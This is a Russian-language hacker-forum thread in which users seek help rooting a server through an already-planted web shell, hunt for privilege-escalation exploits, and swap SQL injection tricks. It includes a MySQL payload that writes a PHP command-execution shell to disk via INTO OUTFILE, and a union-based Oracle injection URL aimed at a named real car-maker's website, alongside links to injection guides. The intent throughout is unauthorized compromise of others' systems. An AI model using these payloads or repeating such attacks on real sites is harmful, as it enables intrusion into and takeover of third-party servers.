ВСЁ ОТЛИЧНО ВСЁ ПОНЯЛ)_)) ОГРОМНОЕ СПС ) ОСОБЕННО ТЕБЕ! ещё если не сложно подкинька хороших линком на с=татейки про атаки на SQL
Всем здрасти... И так есть шелл на сайте (на выделенном сервере) так вот как его порутать? нужно полное руководство!
gurman94,вот отрыл на винте хорошую статейку.Сайта с которого я её копирнул уже нет. _http://slil.ru/26503661
Windows NT WIN-LT7NWBWEQ7D 6.0 build 6001 (то что в uname -a стоит) под эту версию есть сплоит? просто я на секьюритьси-лаб не нашол и даже не знаю где искать! в гугле тоже самое!
Если будете искать сплойт, не перепутайте с сплойтом для ddos системы...я однажды попался, потом неделю сайт с хорошими пузомерками лежал..выделенный сервер хотел порутать называется. А насчет сплойтов - на секлабе не будут выкладывать полноценно рабочие, это ведь ресурс о безопасности.
Скуль есть. sabe Ты хочешь добится вывода? Ищи дркгой параметр, сдесь помоему глухо, похоже она слепая Octave_Parango SELECT '<?php system($c) ?>' FROM `table` INTO OUTFILE '/полный/путь/shell.php'
Можно, при условии что у тебя есть доступ к выполнению произвольных SQL-команд и пользователь MySQL имеет привилегию FILE. Вот статья по теме: https://forum.antichat.ru/showthread.php?p=437118 Также в некоторых версиях phpMyAdmin есть уязвимости, с помощью которых можно залить шелл. http://letmegooglethatforyou.com/?q=phpmyadmin%20exploit
sabe, это Oracle. Мне приходилось иметь дело с этой субд (в плане проведения инъекций) к сожалению безрезультатно (наверно я такой тупой). На античате есть статьи по сабжу https://forum.antichat.ru/thread7157-%E8%ED%FA%E5%EA%F6%E8%FF+Oracle.html https://forum.antichat.ru/thread7158-%E8%ED%FA%E5%EA%F6%E8%FF+Oracle.html https://forum.antichat.ru/thread8009-%E8%ED%FA%E5%EA%F6%E8%FF+Oracle.html Статьи на мой взгляд отвратительные. Вообще не читабельно (имхо). Еще есть мини статья от Подкащея вроде, но там все сбито в одну кучу. Просто так сказать некоторые особенности субд. Желаю удачи
ElteRUS ты видимо не заметил отличную статью от [53x]Shadow по Oracle http://forum.antichat.ru/showthread.php?t=40576
Code: http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
